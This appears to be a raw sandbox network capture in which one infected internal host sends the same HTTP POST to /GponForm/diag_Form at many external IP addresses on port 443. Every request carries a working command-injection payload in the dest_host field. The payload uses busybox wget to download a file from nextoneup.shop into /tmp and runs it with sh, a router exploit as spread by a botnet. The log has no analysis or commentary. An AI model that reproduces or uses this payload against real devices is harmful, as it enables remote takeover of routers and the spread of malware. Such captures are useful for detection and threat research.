Apr 14, 2024 04:01:51.371515989 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2283	192.168.2.13	34676	202.62.211.19	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.371526957 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2284	192.168.2.13	40788	37.109.48.139	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.371550083 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2285	192.168.2.13	36926	202.231.49.39	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.371567965 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2286	192.168.2.13	45678	202.16.240.182	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.371598005 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2287	192.168.2.13	41414	118.126.185.174	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.371603012 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2288	192.168.2.13	47914	79.87.117.146	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.371629000 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2289	192.168.2.13	48064	94.166.67.51	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.371684074 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2290	192.168.2.13	59660	210.208.106.25	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.371701956 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2291	192.168.2.13	57158	212.157.172.238	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.371701956 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2292	192.168.2.13	40578	210.178.238.246	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.371723890 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2293	192.168.2.13	56648	5.106.104.186	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.371747017 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2294	192.168.2.13	58846	37.209.119.61	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.371771097 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2295	192.168.2.13	39422	117.71.225.195	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.371809006 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2296	192.168.2.13	59292	109.188.222.191	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.371820927 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2297	192.168.2.13	45076	123.69.63.154	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.371820927 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2298	192.168.2.13	37798	118.128.100.179	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.371840000 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2299	192.168.2.13	43420	202.172.111.101	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.371840000 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2300	192.168.2.13	38638	37.238.170.162	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.371856928 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2301	192.168.2.13	34102	210.176.98.69	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.371891022 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2302	192.168.2.13	60132	148.19.243.4	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.371918917 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2303	192.168.2.13	53712	118.54.134.14	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.371937990 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2304	192.168.2.13	43770	109.205.91.176	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.371963024 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2305	192.168.2.13	42392	42.98.134.135	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.371989012 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2306	192.168.2.13	38838	2.101.255.21	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.372009039 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2307	192.168.2.13	58378	2.177.116.231	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.372009039 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

